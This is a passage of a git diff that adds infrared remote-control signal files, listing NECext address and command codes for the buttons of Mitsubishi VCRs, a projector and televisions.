+# +name: VCRA/TV/CBL_QUIKPROG +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: VCR_Q.PROG/VCR_PLUS+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: VCRA_QUICK_PROGRAM +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: VCRA_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 35 00 00 00 +# +name: VCR_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 35 00 00 00 +# +name: VCRA_8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 38 00 00 00 +# +name: VCR_8_(M-F) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 38 00 00 00 +# +name: VCR_8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 38 00 00 00 +# +name: VCRA_INPUT_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: VCR_INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: VCRA_INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: VCRA_VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VCR_VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VCR_FUNCTION_VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VCRA_FUNC_VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: VCRA_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 41 00 00 00 +# +name: VCR_ADJ_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 41 00 00 00 +# +name: VCR_ADJUST_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 41 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 43 00 00 00 +# +name: VCRA_S.(QUICK_VIEW) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 45 00 00 00 +# +name: VCRA_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 49 00 00 00 +# +name: VCR_ADJ_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 49 00 00 00 +# +name: VCR_ADJUST_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 49 00 00 00 +# +name: VCR_SCAN_REV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4B 00 00 00 +# +name: VCR_SCAN_REV_1/10 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4B 00 00 00 +# +name: VCR_SCAN_REV_1/30 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4B 00 00 00 +# +name: VCR_SCAN_REV_1/5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4B 00 00 00 +# +name: VCR_SCAN_FWD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4C 00 00 00 +# +name: VCR_SCAN_FWD_1/10 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4C 00 00 00 +# +name: VCR_SCAN_FWD_1/30 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4C 00 00 00 +# +name: VCR_SCAN_FWD_1/5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4C 00 00 00 +# +name: VCRA_S.(RE.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 4D 00 00 00 +# +name: VCRA_AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: VCR_AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: VCR_FUNCTION_AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: VCRA_FUNC_AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: VCRA_MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 52 00 00 00 +# +name: VCR_MODE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 52 00 00 00 +# +name: VCR_MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 52 00 00 00 +# +name: VCRA_S.(F.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 55 00 00 00 +# +name: ADJUST_ON +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 56 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5B 00 00 00 +# +name: VCRA_S(RE.PLAY_BACK) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5C 00 00 00 +# +name: VCRA_SHU.FWD(NORMAL) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5C 00 00 00 +# +name: ADJUST_OFF +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 5E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 6B 00 00 00 +# +name: VCRA_S.(R.FAST_P.B.) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 6B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 6C 00 00 00 +# +name: VCR_ADJUST_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 73 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 73 00 00 00 +# +name: VCRA_JOG_REV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 73 00 00 00 +# +name: VCR_ADJUST_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 74 00 00 00 +# +name: VCRA_JOG_FWD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 74 00 00 00 +# +name: VCRA_S.(F.H.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 75 00 00 00 +# +name: VCRA_S.(R.H.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 7D 00 00 00 +# +name: VCRB_1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 80 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 80 00 00 00 +# +name: VCRB_9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 81 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 81 00 00 00 +# +name: VCRB_POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 82 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 82 00 00 00 +# +name: VCRB_PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 84 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 84 00 00 00 +# +name: VCRB_VCR/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 85 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 85 00 00 00 +# +name: VCRB_2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 88 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 88 00 00 00 +# +name: VCRB_0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 89 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 89 00 00 00 +# +name: VCRB_CHANNEL_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8A 00 00 00 +# +name: SCAN_^(CH_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8A 00 00 00 +# +name: VCRB_SCAN_^_(CH_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8A 00 00 00 +# +name: VCRB_CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8B 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8B 00 00 00 +# +name: VCRB_REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8C 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8C 00 00 00 +# +name: VCRB_INDEX_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8E 00 00 00 +# +name: INDEX_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8E 00 00 00 +# +name: VCRB_3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 90 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 90 00 00 00 +# +name: VCRB_CHANNEL_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 92 00 00 00 +# +name: SCAN_V(CH_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 92 00 00 00 +# +name: VCRB_SCAN_V_(CH_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 92 00 00 00 +# +name: VCRB_STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 94 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 94 00 00 00 +# +name: VCRB_INDEX_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 96 00 00 00 +# +name: INDEX_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 96 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 97 00 00 00 +# +name: VCRB_4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 98 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 98 00 00 00 +# +name: VCRB_INPUT_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9A 00 00 00 +# +name: INPUT_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9A 00 00 00 +# +name: VCRB_PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9C 00 00 00 +# +name: PAUSE/STILL_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9C 00 00 00 +# +name: VCRB_5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A0 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A0 00 00 00 +# +name: VCRB_VOL_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A2 00 00 00 +# +name: VCRB_FF_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A4 00 00 00 +# +name: FF/SRCH_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A4 00 00 00 +# +name: VCRB_QV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A5 00 00 00 +# +name: Q.V. +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A5 00 00 00 +# +name: VCRB_Q.V. +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A5 00 00 00 +# +name: VCRB_DISPLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A7 00 00 00 +# +name: DISP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A7 00 00 00 +# +name: VCRB_6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A8 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A8 00 00 00 +# +name: VCRB_VOL_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AA 00 00 00 +# +name: VCRB_REW_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AC 00 00 00 +# +name: REW/SRCH_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AC 00 00 00 +# +name: R.PLAY_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AD 00 00 00 +# +name: VCRB_OFF-T +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AF 00 00 00 +# +name: OFF-T_OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AF 00 00 00 +# +name: VCRB_OFF-T_OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AF 00 00 00 +# +name: VCRB_7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B0 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B0 00 00 00 +# +name: VCRB_MUTE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B2 00 00 00 +# +name: VCRB_QUICK_PROGRAM +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B3 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B4 00 00 00 +# +name: VCRB_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B5 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B5 00 00 00 +# +name: VCRB_8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B8 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B8 00 00 00 +# +name: ANT_A/B +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B9 00 00 00 +# +name: VCRB_INPUT_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: BA 00 00 00 +# +name: INPUT_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: BA 00 00 00 +# +name: VCRB_INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: BA 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: BD 00 00 00 +# +name: VCRB_VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C0 00 00 00 +# +name: VIDEO_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C0 00 00 00 +# +name: VCRB_FUNC_VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C0 00 00 00 +# +name: VCRB_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C1 00 00 00 +# +name: ADJ_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C1 00 00 00 +# +name: VCRB_S.(QUICH_VIEW) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C5 00 00 00 +# +name: VIDEO_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C8 00 00 00 +# +name: VCRB_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C9 00 00 00 +# +name: ADJ_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C9 00 00 00 +# +name: VCRB_S.(RE.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: CD 00 00 00 +# +name: VCRB_AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D0 00 00 00 +# +name: AUDIO_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D0 00 00 00 +# +name: VCRB_FUNC_AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D0 00 00 00 +# +name: VCRB_MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D2 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D2 00 00 00 +# +name: VCRB_S.(F.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D5 00 00 00 +# +name: AUDIO_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D8 00 00 00 +# +name: VCRB_S(RE.PLAY_BACK) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: DB 00 00 00 +# +name: VCRB_SHU.FWD(NORMAL) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: DC 00 00 00 +# +name: -2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: DF 00 00 00 +# +name: -5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: E6 00 00 00 +# +name: VCRB_S.(R.FAST_P.B.) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: EB 00 00 00 +# +name: -4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: EE 00 00 00 +# +name: VCRB_JOG_REV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: F3 00 00 00 +# +name: VCRB_JOG_FWD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: F4 00 00 00 +# +name: VCRB_S.(F.H.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: F5 00 00 00 +# +name: -1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: F7 00 00 00 +# +name: VCRB_S.(R.H.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: FD 00 00 00 +# +name: -3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir new file mode 100644 index 000000000..f8001ddee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 01 00 00 00 +# +name: vcr_power +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 02 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: vcr/tv +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0B 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0C 00 00 00 +# +name: index+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: index- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 20 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 27 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 28 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 30 00 00 00 +# +name: quick_program +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 35 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 36 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 38 00 00 00 +# +name: x2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3A 00 00 00 +# +name: sp/ep +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3E 00 00 00 +# +name: audio/video +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 40 00 00 00 +# +name: adjust+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 41 00 00 00 +# +name: adjust- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 49 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 52 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir new file mode 100644 index 000000000..95fb28140 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: PowerOn +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 41 00 00 00 +# +name: PowerOff +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 42 00 00 00 +# +name: Keystone +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 43 00 00 00 +# +name: Computer +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 60 00 00 00 +# +name: Component +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 64 00 00 00 +# +name: Video +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 65 00 00 00 +# +name: S-Video +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 66 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 70 00 00 00 +# +name: Left +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 80 00 00 00 +# +name: Right +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 81 00 00 00 +# +name: Up +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 82 00 00 00 +# +name: Down +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 83 00 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 86 00 00 00 +# +name: Enter +type: parsed +protocol: NECext +address: F0 00 00 00 +command: 87 00 00 00 +# +name: AutoPosition +type: parsed +protocol: NECext +address: F0 00 00 00 +command: A2 00 00 00 +# +name: Blank +type: parsed +protocol: NECext +address: F0 00 00 00 +command: A6 00 00 00 +# +name: Contrast +type: parsed +protocol: NECext +address: F0 00 00 00 +command: D0 00 00 00 +# +name: Brightness +type: parsed +protocol: NECext +address: F0 00 00 00 +command: D1 00 00 00 +# +name: ColorTemp +type: parsed +protocol: NECext +address: F0 00 00 00 +command: D4 00 00 00 +# +name: Gamma +type: parsed +protocol: NECext +address: F0 00 00 00 +command: D5 00 00 00 +# +name: Sharpness +type: parsed +protocol: NECext +address: F0 00 00 00 +command: D6 00 00 00 +# +name: Aspect +type: parsed +protocol: NECext +address: F0 00 00 00 +command: E2 00 00 00 +# +name: M1 +type: parsed +protocol: NECext +address: F0 00 00 00 +command: E4 00 00 00 +# +name: M2 +type: parsed +protocol: NECext +address: F0 00 00 00 +command: E5 00 00 00 +# +name: M3 +type: parsed +protocol: NECext +address: F0 00 00 00 +command: E6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir new file mode 100644 index 000000000..05407c6ac --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 02 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0B 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0C 00 00 00 +# +name: COUNTER_MEMORY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0D 00 00 00 +# +name: INDEX_SEARCH+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: INDEX_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 15 00 00 00 +# +name: INDEX_SEARCH- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 17 00 00 00 +# +name: PROG_ON-OFF +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: PROG_REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1F 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: FAST_PLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 25 00 00 00 +# +name: PROG_NBR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2B 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 33 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 34 00 00 00 +# +name: SKIP_SEARCH +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir new file mode 100644 index 000000000..ac762a5ae --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: QV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: OFF-TIMER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 32 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: TURNRIGHT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: TURNLEFT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir new file mode 100644 index 000000000..3ae541ce5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir @@ -0,0 +1,374 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: ST/MONO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 03 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 06 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP 